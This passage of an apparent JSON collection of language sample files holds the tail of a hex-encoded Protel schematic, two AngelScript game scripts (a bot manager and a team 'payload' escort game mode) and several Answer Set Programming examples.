65336F07A84F3A912449B0301EB7CD6D32BA2E8B75B70681CEC357193BD60BDEB6ED62CC445F64401DE75E5F897046133D2009286|>\r\nEEAB0E8810A45E9D58EBBF4AE9B47F06E8DFC2F73D54F33DC74572747396C2D905352D8B93B0E7DC6FF51D7806A8E42D10EB3B66F289A6B8E8A45FE1BA18AE4455CC440085CC2BB5B08C68D80997B03C|>\r\n42AF5B042F502D395C82B333F51005A2BDBAF9EA06E414BEBE2EE9125C01D8CEFE73C50CF21017137EB52EAC3F83D3606CA1F855B9DD7702AA3C0F32BBCAD3C0E0DEA7DE1EBDF023D50CF0A3327DEE24|>\r\n3EC478F4AE9133506DF430563540FC1101426ACA74F4390FDB0912BA439145D97F1E246BA2504C05B378E7919F9212F9CF2AA68ABCD7437F0BC370C1D6B23F402AB67E788312BB842B5FE06401EC1361|>\r\n50C60BB2AAEAED2FAD41AAE2473926DD15B68A9EE73D61B75B582792B7B43C7E11671B53015D5D3E50DA8263045ED31C1CFD509892813ADBC0C2C9BAD985EC2ABDCFC448D806DA90E5B19842EA39E3E8|>\r\n5C234ED2EEC97613C0A2439A06B40B5CC03A239ACED1B8696FC348ACEC7A0CCBD4B9C0165623325C14CC33B389D14DCDDB08AA832CF6CDD9E4AEA93FFBD60001F563C9E2920D7F59C6ECD20B893C6435|>\r\nC0C14FC94D4A8EA5E4214CC20EDCDB40F4035452F6AEC1B8D22C12EF3ABB5309046799B0BB0F68599668AF20AE74EAA130F45D69BDDA2AC92FA445120A1E94C459A4D6BF0DDBF49672B5AA7258FEC872|>\r\nD6C20AE0FF4408DD52B7C884B708C635E1356F440294B45030A958373CCE704606A96A2CC621791C260693B27D3D977B1751494385ACD0614F9A3D5D7F5E59F11ADC15B68ABEEF2754B58E7869BDA3A2|>\r\n2036A99AEA71796E058C5F4E50543D7341E935EC8923CCA99364DD0E6AF4E66335EB86E309BC8C5E3CC74D310253B3A31BB8457D9F989A2C0E47DB63CEBBA0D700BE9EB53DDF7D16972953713D012EA5|>\r\n1DD7221AD500DD41FD90A08E168EED430A0A2912579864BFA0D5A0C045CBCDBADFC2BC3DED964159C7753A2CAA64F4B1333B5E2E6A08DC8AA8A0FAAEA3CBFECD32301EC18FD857E780DCC329AC496410|>\r\nA9A8E044636699A58FAC3896ADE8F42B1FC0A5B45DFBE1E34BFA46140218FFF45BE4C155CAA2D66E980A4A671918D13DB4D440A5BC1EA5BDA26368E4A486C330205C2963437DC75DC13D4036A72A2ECF|>\r\nA078300CD2FF5F569085AF7DFC585760E42D7E5DCE19C0A8EA86E9F153A89C730BA6BBB07B5D728ED060D285EA637DCDFA394EFB6BD96FD93C9B665FCB8EFD55D265E75C5EC13976934A9F4FB8E2C68C|>\r\nD6B4EA931100A9EE4CFF5F5A9254CD3E61C4AED4C990FE52C53894247206B407927A1F61F88E7051D94DF72065403B81FC35522AF8B39ADA8BC3E510858163E50BAE4150A8AD5F01B96AB0882D599390|>\r\n32A0EE58EB3E4A8FC0DADD1A39AC7DA5E1168EE3CA46140218FFF49CE80B2C0CD84AE1205D598D5594647B0D03BB9E4051100DC9293C46CDA729E466BC993D807DA0EA3CE19CEA854047BA0BA325DD58|>\r\n541E71A0614FA603DC77BA02656F75E4C6611F22AB5A9C2FC44A18B8C8770A83410053C63530D366087DB5BECE65E1043DCB9464ABEAA4CAE05DABE6C06A90D7AA0786F9213A4EE452F72025DCD1A38D|>\r\n5CDFDE674A22AFA44ED409DF0D20714C4AD1AE9135C41E10DA84EE6BF709C385E5589DE885AAF61FAC24B78EF8ADF44BD90836C0F97D519836B245D1DD2CD15FAAD923E058065E12F4A1230402293913|>\r\nE59E18A68573634271E558E6639A89A72DAA01AA83FB3C64D7D64FB7F2B1A5070A52C87DB90C00F06D25C25E61958252AAAA44F940426A892D7C932E346330CF489E620FB6132BB821238D3ADAB94AB0|>\r\nAD4C235CCD86F9C5014747E595C95F742FEC6B3FC86040F5463DD777778C19C3E558D401036F466F1F2C638E3B5F81146153FFBA162707B38C72D5CC26338AFAAD8667904B566334803A007EA19F17C9|>\r\n001255433E9560D06D4954AC83CA4B7F2C952B5F9899AEC321CC4A5E280C85B8DBFAC538D468AF707E356E43A230564702C55894267E85AC620F26E8BDAAF17570BE15E913BB88D0FA26110F92AB4BFB|>\r\nBC08A87DC757D3A9F25730A51457DB2829C9ED52E1376B8B13EF532D2270B0A9255BAB269FF71B0B220C35ED534DE0665C85D8863BA8A41252E3496F0A00175985B61F48341609F7546E53978C605C1B|>\r\n42A01B1F466B59060EC712C7055FD1A69EC15EE6D3893A6A3DC87875983DC06A3CE198EA96CEC486840A5305D85A1F6452385D3B1A225BC9F790FD483C8075A140AB36D38BA931DC62B731C12F32B34A|>\r\n9E2FC447EB71A8F233DD469039D346C62AC4F7DD1FB6B2F27006B6A319C5615ABF7459B05286318A33410D64C9D2DEC8507EBA4093150D80395E407F3DF19B6C611D961B2284BA6C98C84AAEA13C518B|>\r\nB892F38A7FC76C62FF8DE86B1A48D5021CD42EE4C53D0E6790C8EB92A515C828331A0EA400F54A610CA8CEBE97EC67D9ED407EBEE8A729FC5DBAD19EA4ED7031C38D0AD4DC6C7E86572781AEF81C6039|>\r\n95E97928DED922E86C95D7EC8A3E960E348280E552F64F95C75A1DAA0E5E702B6A2492C729E1E16B73D8C42033AC0ED34E38B026394F536F26BFF0B6A554E56C94958BB7C675A44D92C1413D6A1CAF31|>\r\n38518C77CE537A364E3089B38E3E3A3346D075713D20AA3CE190EAA0CA888D751EB142688371CE5213AC43A5001BB80CC197E43828928F5A13084C8A7115A4E2CA328ADD4C3E2D7E82D93224AE1AD576|>\r\nB7A72D2C7D84F3CC1AFB5B13E8949F8ECE1D124C01B50705F418653AADD7B70098EF18C0115006DB599C2BBDC0ABD5C7C165E0ADCBBB9AD6B860F812984254CA85838091C62D21325A6585523758DB37|>\r\nA2E27807D3A803EC1E8E60B5CEE450A8ADC65516FBA044B70BCC746FFC35D6332B9120BCE89A43B92F9885B2F8884059247176BADA5D97AAC1E5726AAD7E1FCA2169B885F289C68CE97E9293A18D7601|>\r\n81461EC1202FA049728B86284D4106E0EC6B049F5ECA1541CBE04475CAEC371C551CE15F56FAEB87E3A267AA0A28AAE94355289AA64F7F1552EA047ED8392FBED15D0FDF30243FD709C19CC19AB7E2DE|>\r\n65D347E880A37B5375DBDC0431807B4EF4E32B628813EC120D9DFB95D492CD080BA94773237F7A48BDC93B99B550654F862D7DFE4BAFEBEF8DF4ADA94FEB9F867F6DA86DEB970DEBC8C8C8C79CE1F19F|>\r\n3546414332F63A19867143865BEAB7971AB12E1E2DF6594FC795EC6FC745E07471D2FEB3DB7F4D7E241E5568CAAFC9108E8B4EC8CAEF7B8E0CC42B1422251F484ED67F5BEF51CE7BFB8B91ACB8FEBD0C|>\r\nE7851E421E3AC9386E0E8BDD13A7E1EB784371406E155DB1E81D7009103D6E59CCAE79FC1825F7EFC6A946E5266C2C46D277EBEC45DB6A20B7987E7B5D32B99A543D5BFEF5C4C329C427618BA24CFE9A|>\r\n59B9701772539CBC57824A337E416F3F5D6AE4B02DB8ECCD876F0C8911379A74F9FCE3DF6DD91BDEB27F5112C3996A82E772DDA75F0D8B1DC53A74E9DCE39726CFFBE5937275DED175D198D61CD7A7DB|>\r\n6C19B8BD4E31217E311012BC09AF5A65CCF04463768D6BD578F9E1D63627413FA0599D886ED537BF64C4B68808C103D3C333FD194CA47E9EC84FA340D79A0F87AA1B3519FBDCC967790B8C922CF1C266|>\r\n17B35EA530F94657482FB9EBD0D2D25CCD0D8714FE2093C343FD1AD95DEFC7C27CC3C8D42FA94CB6E87814B971FA9F66C5749D5F087BB6AE8B1071BC72823FA02971C160E171284CDC125D718ED8C835|>\r\n2F4598F770741155D1DFC5B1B7AA0065ECD0504496530B97C24F008B6657A206BFF0817243B0CED769E210DA86B9D20985FAB8D09DB18EE58739CDB333909B918BED3DB0B4F72CD908022DF74F449BF7|>\r\nC41392829E11C674085C218A8A642E4A4E45AA32BAECEA7A54F787EF242311E8E859C042C1C7587B97457494D02E365B59889E727BC9FD85E6E456E04DA827CF5D5484F94540D5FF7D37014E541A3F4E|>\r\n052EAA1831CE18264A101754EB708ACE4DAC1A7120A65EAD31DAA07971E160CEB40B5ACA9B54E891BE0ED4304D24CACA5F94D0107110C28B817E148E981BA1EB0B83D43F535114CEA0D8364B773F610C|>\r\n84956943536EDAE24D716D6B46AD0276C401DE40D28983B2E97F0AE133AEF724F9FCCC48EF8A3639EE53C50765838AA8334A0AE1312E0362A6A6E30333F59A101C5D7B9815BE94CB8BA491B92CA133A0|>\r\n06EDC5641B2194FB52FDC337923E7161D899CAB5BA4415E0D782AFE89C5D2043AA8CB31173A128E0E93CDED429C88D6688AEA69F724B91609E96036FFD99C3ED9515508DE80B27C813AEE2097F03C4FF|>\r\n5CC4F4EBC42DA99CBAB34A74FB687D171F84ACB7351D6D4E3D280BAAEF00E4E0295588B31976BE2070DA82C6E1D7000DAFAE4A8D427CF53ADCBECDE8131C361F2BDC9D0DB08749C7DEC8EF69400F74D4|>\r\n289A4926B0F4B406CFFB9861552E2CC1DA82E2AEC7E61282BE00D7302FBBA99FB2AB926F0F5B3C6A7DEB120F3526119972B7EBABCDB64B261C0FD975D3297CB642F17FF72B9E20F85F33809ABBF139BB|>\r\nF0A9BCDDFA6FA1B99842791482412894422914824128944229148241289442291486A3557BF5AB9A43623EB42483C894C6B947812AD1D3D2492CAC26F66249154851E353D0049AD42DC915422A93C337|>\r\n01389C4341B6B7A00925A45812C0B21F120FF2FF682935C35947E353D02496D4249AFE911486A134A8E0F6E24919844519AE04612894914457A34259E4351B6D6F41024B5084551648881C46338F5E9B|>\r\nE9A1E83A4F6E0D4A71CB9179CC453B80AB5A5D4F42024B506973E7D2AB79E907888E24A92ED6A7A1492DA42B13E6D909549259EA1A4D46DEB9A1E86A49650A24F99D282927884D25ADC5D6B7A1C92DA4|>\r\n1A93E1D9079C2124F50B659C0B89A1E88A45650A64F5764D88AC40394EF66B253BEF12455A7627B9CA9353D14492D40B5DF92FCC6935419953EE5C7D5F46024D73DEA0DE1BE0EAFE9D148AE77981D06B|>\r\n3A44D2EA912DC96954B64689DA44A700AF5BCDCA4595215387D5216CA82BF922AC0EB939259170B49243A08FAA46C96257F259546D427253BAEA60725B96ED1D027E57CF79A1E95E47A454B9F1465AAB|>\r\n4CA2595425B9F949D327C45521974F449718C97BE7289FBE8E993D32CEF2AB3A824EEA2AF4F8AB2BE794D8F4E72BD61A44F8AB25C6A94C42D8CF5495136A4C825628979903E294ACE2859704C6216AC4|>\r\nF4EB68E6C2AB7519098C1943E3939FBCAA004A9531284597D7251F0F18CE13D5AC6D60B92DE73890EFF0725AAE674\r\n|HEADER=Protel for Windows - Schematic Capture Ascii File Version 5.0\r\n"
  },
  {
    "path": "samples/AngelScript/botmanager.as",
    "content": "/*\n*\tThis is a sample script.\n*/\n\n#include \"BotManagerInterface.acs\"\n\nBotManager::BotManager g_BotManager( @CreateDumbBot );\n\nCConCommand@ m_pAddBot;\n\nvoid PluginInit()\n{\n\tg_BotManager.PluginInit();\n\t\n\t@m_pAddBot = @CConCommand( \"addbot\", \"Adds a new bot with the given name\", @AddBotCallback );\n}\n\nvoid AddBotCallback( const CCommand@ args )\n{\n\tif( args.ArgC() < 2 )\n\t{\n\t\tg_Game.AlertMessage( at_console, \"Usage: addbot <name>\" );\n\t\treturn;\n\t}\n\t\n\tBotManager::BaseBot@ pBot = g_BotManager.CreateBot( args[ 1 ] );\n\t\n\tif( pBot !is null )\n\t{\n\t\tg_Game.AlertMessage( at_console, \"Created bot \" + args[ 1 ] + \"\\n\" );\n\t}\n\telse\n\t{\n\t\tg_Game.AlertMessage( at_console, \"Could not create bot\\n\" );\n\t}\n}\n\nfinal class DumbBot : BotManager::BaseBot\n{\t\n\tDumbBot( CBasePlayer@ pPlayer )\n\t{\n\t\tsuper( pPlayer );\n\t}\n\t\n\tvoid Think()\n\t{\n\t\tBotManager::BaseBot::Think();\n\t\t\n\t\t// If the bot is dead and can be respawned, send a button press\n\t\tif( Player.pev.deadflag >= DEAD_RESPAWNABLE )\n\t\t{\n\t\t\tPlayer.pev.button |= IN_ATTACK;\n\t\t}\n\t\telse\n\t\t\tPlayer.pev.button &= ~IN_ATTACK;\n\t\t\n\t\tKeyValueBuffer@ pInfoBuffer = g_EngineFuncs.GetInfoKeyBuffer( Player.edict() );\n\t\t\n\t\tpInfoBuffer.SetValue( \"topcolor\", Math.RandomLong( 0, 255 ) );\n\t\tpInfoBuffer.SetValue( \"bottomcolor\", Math.RandomLong( 0, 255 ) );\n\t\t\n\t\tif( Math.RandomLong( 0, 100 ) > 10 )\n\t\t\tPlayer.pev.button |= IN_ATTACK;\n\t\telse\n\t\t\tPlayer.pev.button &= ~IN_ATTACK;\n\t\t\t\n\t\tfor( uint uiIndex = 0; uiIndex < 3; ++uiIndex )\n\t\t{\n\t\t\tm_vecVelocity[ uiIndex ] = Math.RandomLong( -50, 50 );\n\t\t}\n\t}\n}\n\nBotManager::BaseBot@ CreateDumbBot( CBasePlayer@ pPlayer )\n{\n\treturn @DumbBot( pPlayer );\n}\n"
  },
  {
    "path": "samples/AngelScript/payload.as",
    "content": "// Sample script.\n// Source: https://github.com/codecat/ssbd-payload\n\narray<WorldScript::PayloadBeginTrigger@> g_payloadBeginTriggers;\narray<WorldScript::PayloadTeamForcefield@> g_teamForceFields;\n\n[GameMode]\nclass Payload : TeamVersusGameMode\n{\n\t[Editable]\n\tUnitFeed PayloadUnit;\n\n\t[Editable]\n\tUnitFeed FirstNode;\n\n\t[Editable default=10]\n\tint PrepareTime;\n\n\t[Editable default=300]\n\tint TimeLimit;\n\n\t[Editable default=90]\n\tint TimeAddCheckpoint;\n\n\t[Editable default=2]\n\tfloat TimeOvertime;\n\n\t[Editable default=1000]\n\tint TimePayloadHeal;\n\n\t[Editable default=1]\n\tint PayloadHeal;\n\n\tPayloadBehavior@ m_payload;\n\n\tint m_tmStarting;\n\tint m_tmStarted;\n\tint m_tmLimitCustom;\n\tint m_tmOvertime;\n\tint m_tmInOvertime;\n\n\tPayloadHUD@ m_payloadHUD;\n\tPayloadClassSwitchWindow@ m_switchClass;\n\n\tarray<SValue@>@ m_switchedSidesData;\n\n\tPayload(Scene@ scene)\n\t{\n\t\tsuper(scene);\n\n\t\tm_tmRespawnCountdown = 5000;\n\n\t\t@m_payloadHUD = PayloadHUD(m_guiBuilder);\n\t\t@m_switchTeam = PayloadTeamSwitchWindow(m_guiBuilder);\n\t\t@m_switchClass = PayloadClassSwitchWindow(m_guiBuilder);\n\t}\n\n\tvoid UpdateFrame(int ms, GameInput& gameInput, MenuInput& menuInput) override\n\t{\n\t\tTeamVersusGameMode::UpdateFrame(ms, gameInput, menuInput);\n\n\t\tm_payloadHUD.Update(ms);\n\n\t\tif (Network::IsServer())\n\t\t{\n\t\t\tuint64 tmNow = CurrPlaytimeLevel();\n\n\t\t\tif (m_tmStarting == 0)\n\t\t\t{\n\t\t\t\tif (GetPlayersInTeam(0) > 0 && GetPlayersInTeam(1) > 0)\n\t\t\t\t{\n\t\t\t\t\tm_tmStarting = tmNow;\n\t\t\t\t\t(Network::Message(\"GameStarting\") << m_tmStarting).SendToAll();\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (m_tmStarting > 0 && m_tmStarted == 0 && tmNow - m_tmStarting > PrepareTime * 1000)\n\t\t\t{\n\t\t\t\tm_tmStarted = tmNow;\n\t\t\t\t(Network::Message(\"GameStarted\") << m_tmStarted).SendToAll();\n\n\t\t\t\tfor (uint i = 0; i < g_payloadBeginTriggers.length(); i++)\n\t\t\t\t{\n\t\t\t\t\tWorldScript@ ws = WorldScript::GetWorldScript(g_scene, g_payloadBeginTriggers[i]);\n\t\t\t\t\tws.Execute();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!m_ended && m_tmStarted > 0)\n\t\t\tCheckTimeReached(ms);\n\t}\n\n\tstring NameForTeam(int index) override\n\t{\n\t\tif (index == 0)\n\t\t\treturn \"Defenders\";\n\t\telse if (index == 1)\n\t\t\treturn \"Attackers\";\n\n\t\treturn \"Unknown\";\n\t}\n\n\tvoid CheckTimeReached(int dt)\n\t{\n\t\t// Check if time limit is not reached yet\n\t\tif (m_tmLimitCustom - (CurrPlaytimeLevel() - m_tmStarted) > 0)\n\t\t{\n\t\t\t// Don't need to continue checking\n\t\t\tm_tmOvertime = 0;\n\t\t\tm_tmInOvertime = 0;\n\t\t\treturn;\n\t\t}\n\n\t\t// Count how long we're in overtime for later time limit fixing when we reach a checkpoint\n\t\tif (m_tmOvertime > 0)\n\t\t\tm_tmInOvertime += dt;\n\n\t\t// Check if there are any attackers still inside\n\t\tif (m_payload.AttackersInside() > 0)\n\t\t{\n\t\t\t// We have overtime\n\t\t\tm_tmOvertime = int(TimeOvertime * 1000);\n\t\t\treturn;\n\t\t}\n\n\t\t// If we have overtime\n\t\tif (m_tmOvertime > 0)\n\t\t{\n\t\t\t// Decrease timer\n\t\t\tm_tmOvertime -= dt;\n\t\t\tif (m_tmOvertime <= 0)\n\t\t\t{\n\t\t\t\t// Overtime countdown reached, time limit reached\n\t\t\t\tTimeReached();\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// No overtime, so time limit is reached\n\t\t\tTimeReached();\n\t\t}\n\t}\n\n\tvoid TimeReached()\n\t{\n\t\tif (!Network::IsServer())\n\t\t\treturn;\n\n\t\t(Network::Message(\"TimeReached\")).SendToAll();\n\t\tSetWinner(false);\n\t}\n\n\tbool ShouldFreezeControls() override\n\t{\n\t\treturn m_switchClass.m_visible\n\t\t    || TeamVersusGameMode::ShouldFreezeControls();\n\t}\n\n\tbool ShouldDisplayCursor() override\n\t{\n\t\treturn m_switchClass.m_visible\n\t\t    || TeamVersusGameMode::ShouldDisplayCursor();\n\t}\n\n\tbool CanSwitchTeams() override\n\t{\n\t\treturn m_tmStarted == 0;\n\t}\n\n\tPlayerRecord@ CreatePlayerRecord() override\n\t{\n\t\treturn PayloadPlayerRecord();\n\t}\n\n\tint GetPlayerClassCount(PlayerClass playerClass, TeamVersusScore@ team)\n\t{\n\t\tif (team is null)\n\t\t\treturn 0;\n\n\t\tint ret = 0;\n\t\tfor (uint i = 0; i < team.m_players.length(); i++)\n\t\t{\n\t\t\tif (team.m_players[i].peer == 255)\n\t\t\t\tcontinue;\n\t\t\tauto record = cast<PayloadPlayerRecord>(team.m_players[i]);\n\t\t\tif (record.playerClass == playerClass)\n\t\t\t\tret++;\n\t\t}\n\t\treturn ret;\n\t}\n\n\tvoid PlayerClassesUpdated()\n\t{\n\t\tm_switchClass.PlayerClassesUpdated();\n\t}\n\n\tvoid SetWinner(bool attackers)\n\t{\n\t\tif (attackers)\n\t\t\tprint(\"Attackers win!\");\n\t\telse\n\t\t\tprint(\"Defenders win!\");\n\n\t\tm_payloadHUD.Winner(attackers);\n\t\tEndMatch();\n\t}\n\n\tvoid DisplayPlayerName(int idt, SpriteBatch& sb, PlayerRecord@ record, PlayerHusk@ plr, vec2 pos) override\n\t{\n\t\tTeamVersusGameMode::DisplayPlayerName(idt, sb, record, plr, pos);\n\n\t\tm_payloadHUD.DisplayPlayerName(idt, sb, cast<PayloadPlayerRecord>(record), plr, pos);\n\t}\n\n\tvoid RenderFrame(int idt, SpriteBatch& sb) override\n\t{\n\t\tPlayer@ player = GetLocalPlayer();\n\t\tif (player !is null)\n\t\t{\n\t\t\tPlayerHealgun@ healgun = cast<PlayerHealgun>(player.m_currWeapon);\n\t\t\tif (healgun !is null)\n\t\t\t\thealgun.RenderMarkers(idt, sb);\n\t\t}\n\n\t\tTeamVersusGameMode::RenderFrame(idt, sb);\n\t}\n\n\tvoid RenderWidgets(PlayerRecord@ player, int idt, SpriteBatch& sb) override\n\t{\n\t\tm_payloadHUD.Draw(sb, idt);\n\n\t\tTeamVersusGameMode::RenderWidgets(player, idt, sb);\n\n\t\tm_switchClass.Draw(sb, idt);\n\t}\n\n\tvoid GoNextMap() override\n\t{\n\t\tif (m_switchedSidesData !is null)\n\t\t{\n\t\t\tTeamVersusGameMode::GoNextMap();\n\t\t\treturn;\n\t\t}\n\n\t\tChangeLevel(GetCurrentLevelFilename());\n\t}\n\n\tvoid SpawnPlayers() override\n\t{\n\t\tif (m_switchedSidesData is null)\n\t\t{\n\t\t\tTeamVersusGameMode::SpawnPlayers();\n\t\t\treturn;\n\t\t}\n\n\t\tif (Network::IsServer())\n\t\t{\n\t\t\tfor (uint i = 0; i < m_switchedSidesData.length(); i += 2)\n\t\t\t{\n\t\t\t\tuint peer = uint(m_switchedSidesData[i].GetInteger());\n\t\t\t\tuint team = uint(m_switchedSidesData[i + 1].GetInteger());\n\n\t\t\t\tTeamVersusScore@ joinScore = FindTeamScore(team);\n\t\t\t\tif (joinScore is m_teamScores[0])\n\t\t\t\t\t@joinScore = m_teamScores[1];\n\t\t\t\telse\n\t\t\t\t\t@joinScore = m_teamScores[0];\n\n\t\t\t\tfor (uint j = 0; j < g_players.length(); j++)\n\t\t\t\t{\n\t\t\t\t\tif (g_players[j].peer != peer)\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\tSpawnPlayer(j, vec2(), 0, joinScore.m_team);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid Save(SValueBuilder& builder) override\n\t{\n\t\tif (m_switchedSidesData is null)\n\t\t{\n\t\t\tbuilder.PushArray(\"teams\");\n\t\t\tfor (uint i = 0; i < g_players.length(); i++)\n\t\t\t{\n\t\t\t\tif (g_players[i].peer == 255)\n\t\t\t\t\tcontinue;\n\t\t\t\tbuilder.PushInteger(g_players[i].peer);\n\t\t\t\tbuilder.PushInteger(g_players[i].team);\n\t\t\t}\n\t\t\tbuilder.PopArray();\n\t\t}\n\n\t\tTeamVersusGameMode::Save(builder);\n\t}\n\n\tvoid Start(uint8 peer, SValue@ save, StartMode sMode) override\n\t{\n\t\tif (save !is null)\n\t\t\t@m_switchedSidesData = GetParamArray(UnitPtr(), save, \"teams\", false);\n\n\t\tTeamVersusGameMode::Start(peer, save, sMode);\n\n\t\tm_tmLimit = 0; // infinite time limit as far as VersusGameMode is concerned\n\t\tm_tmLimitCustom = TimeLimit * 1000; // 5 minutes by default\n\n\t\t@m_payload = cast<PayloadBehavior>(PayloadUnit.FetchFirst().GetScriptBehavior());\n\n\t\tif (m_payload is null)\n\t\t\tPrintError(\"PayloadUnit is not a PayloadBehavior!\");\n\n\t\tUnitPtr unitFirstNode = FirstNode.FetchFirst();\n\t\tif (unitFirstNode.IsValid())\n\t\t{\n\t\t\tauto node = cast<WorldScript::PayloadNode>(unitFirstNode.GetScriptBehavior());\n\t\t\tif (node !is null)\n\t\t\t\t@m_payload.m_targetNode = node;\n\t\t\telse\n\t\t\t\tPrintError(\"First target node is not a PayloadNode script!\");\n\t\t}\n\t\telse\n\t\t\tPrintError(\"First target node was not set!\");\n\n\t\tWorldScript::PayloadNode@ prevNode;\n\n\t\tfloat totalDistance = 0.0f;\n\n\t\tUnitPtr unitNode = unitFirstNode;\n\t\twhile (unitNode.IsValid())\n\t\t{\n\t\t\tauto node = cast<WorldScript::PayloadNode>(unitNode.GetScriptBehavior());\n\t\t\tif (node is null)\n\t\t\t\tbreak;\n\n\t\t\tunitNode = node.NextNode.FetchFirst();\n\n\t\t\t@node.m_prevNode = prevNode;\n\t\t\t@node.m_nextNode = cast<WorldScript::PayloadNode>(unitNode.GetScriptBehavior());\n\n\t\t\tif (prevNode !is null)\n\t\t\t\ttotalDistance += dist(prevNode.Position, node.Position);\n\n\t\t\t@prevNode = node;\n\t\t}\n\n\t\tfloat currDistance = 0.0f;\n\n\t\tauto distNode = cast<WorldScript::PayloadNode>(unitFirstNode.GetScriptBehavior());\n\t\twhile (distNode !is null)\n\t\t{\n\t\t\tif (distNode.m_prevNode is null)\n\t\t\t\tdistNode.m_locationFactor = 0.0f;\n\t\t\telse\n\t\t\t{\n\t\t\t\tcurrDistance += dist(distNode.m_prevNode.Position, distNode.Position);\n\t\t\t\tdistNode.m_locationFactor = currDistance / totalDistance;\n\t\t\t}\n\n\t\t\t@distNode = distNode.m_nextNode;\n\t\t}\n\n\t\tm_payloadHUD.AddCheckpoints();\n\t}\n\n\tvoid SpawnPlayer(int i, vec2 pos = vec2(), int unitId = 0, uint team = 0) override\n\t{\n\t\tTeamVersusGameMode::SpawnPlayer(i, pos, unitId, team);\n\n\t\tPayloadPlayerRecord@ record = cast<PayloadPlayerRecord>(g_players[i]);\n\t\trecord.HandlePlayerClass();\n\n\t\tif (g_players[i].local)\n\t\t{\n\t\t\t//TODO: This doesn't work well\n\t\t\tbool localAttackers = (team == HashString(\"player_1\"));\n\t\t\tfor (uint j = 0; j < g_teamForceFields.length(); j++)\n\t\t\t{\n\t\t\t\tbool hasCollision = (localAttackers != g_teamForceFields[j].Attackers);\n\n\t\t\t\tauto units = g_teamForceFields[j].Units.FetchAll();\n\t\t\t\tfor (uint k = 0; k < units.length(); k++)\n\t\t\t\t{\n\t\t\t\t\tPhysicsBody@ body = units[k].GetPhysicsBody();\n\t\t\t\t\tif (body is null)\n\t\t\t\t\t{\n\t\t\t\t\t\tPrintError(\"PhysicsBody for unit \" + units[k].GetDebugName() + \"is null\");\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tbody.SetActive(hasCollision);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/Answer Set Programming/15puzzle-encoding.lp",
    "content": "#include <incmode>.\n\n% if set to one, permits consecutive moves in one time step\n% this will not provide optimal plans but usually finds solutions much faster\n#const consecutive = 0.\n\n#program base.\n\n% neighborhood relation\nd(1,0;0,1;-1,0;0,-1).\nn((X,Y),(X+DX,Y+DY)) :- dim((X,Y)), dim((X+DX,Y+DY)), d(DX,DY).\n\n% positions at time step zero\nat(0,(X,Y),N) :- in(X,Y,N).\n\n#program step(t).\n\n% guess moves\n1 { move(t,A,B) : n(A,B) } 1 :- dim(B), not at(t-1,B,_).\n0 { move(t,A,B) : n(A,B) } 1 :- move(t,B,_), consecutive == 1.\n\n% check moves\n :- 2 { move(t,A,B) }, dim(A).\n\n% state transition\nat(t,A,N) :- at(t-1,A,N), not move(t,A,_).\nat(t,B,N) :- at(t-1,A,N),     move(t,A,B).\n\n% some redundant constraints\n :- move(t,A,_), not at(t-1,A,_).\n :- move(t,A,B), move(t-1,B,A), consecutive != 1.\n\n#program check(t).\n\n% check domain knowledge\n :- not 1 { not at(t,A,_) : dim(A) } 1.\n :- 2 { at(t,A,N) }, dim(A).\n\n% check goal\n :- go(X,Y,N), not at(t,(X,Y),N), query(t).\n\n#show move/3.\n#show at/3."
  },
  {
    "path": "samples/Answer Set Programming/apt.lp",
    "content": "% implementation of APT\n\n#include \"asp/define.lp\".\n#include \"asp/generate.lp\".\n#include \"asp/hard.lp\".\n\n:~ type(E,quantitative), channel(E,x), priority(E,P). [1@P,E]\n:~ type(E,quantitative), channel(E,y), priority(E,P). [1@P,E]\n:~ type(E,quantitative), channel(E,size), priority(E,P). [2@P,E]\n:~ type(E,quantitative), channel(E,color), priority(E,P). [3@P,E]\n\n:~ type(E,ordinal), channel(E,x), priority(E,P). [1@P,E]\n:~ type(E,ordinal), channel(E,y), priority(E,P). [1@P,E]\n:~ type(E,ordinal), channel(E,color), priority(E,P). [2@P,E]\n:~ type(E,ordinal), channel(E,size), priority(E,P). [3@P,E]\n\n:~ type(E,nominal), channel(E,x), priority(E,P). [1@P,E]\n:~ type(E,nominal), channel(E,y), priority(E,P). [1@P,E]\n:~ type(E,nominal), channel(E,color), priority(E,P). [2@P,E]\n:~ type(E,nominal), channel(E,shape), priority(E,P). [3@P,E]\n:~ type(E,nominal), channel(E,size), priority(E,P). [4@P,E]\n\n:- channel(_,text).\n:- channel(_,detail).\n:- channel(_,row).\n:- channel(_,column).\n\n% don't bin, use log, or aggregate\n:- bin(_).\n:- log(_).\n:- aggregate(_,_).\n\n#show mark/1.\n#show channel/2.\n"
  },
  {
    "path": "samples/Answer Set Programming/onmodel-py.lp",
    "content": "#script (python)\n\nimport clingo\n\ndef main(prg):\n    def on_model(m):\n        print(\"shown\")\n        print(\"  positive: \" + \", \".join(map(str, m.symbols(shown=True))))\n        print(\"  negative: \" + \", \".join(map(str, m.symbols(shown=True, complement=True))))\n        print(\"atoms\")\n        print(\"  positive: \" + \", \".join(map(str, m.symbols(atoms=True))))\n        print(\"  negative: \" + \", \".join(map(str, m.symbols(atoms=True, complement=True))))\n        print(\"terms\")\n        print(\"  positive: \" + \", \".join(map(str, m.symbols(terms=True))))\n        print(\"  negative: \" + \", \".join(map(str, m.symbols(terms=True, complement=True))))\n\n    prg.ground([(\"base\", [])])\n    prg.solve(on_model=on_model)\n\n#end.\n\n{a}.\nb :- a.\n#show c : a.\n#show b/0."
  },
  {
    "path": "samples/Answer Set Programming/tohB.lp",
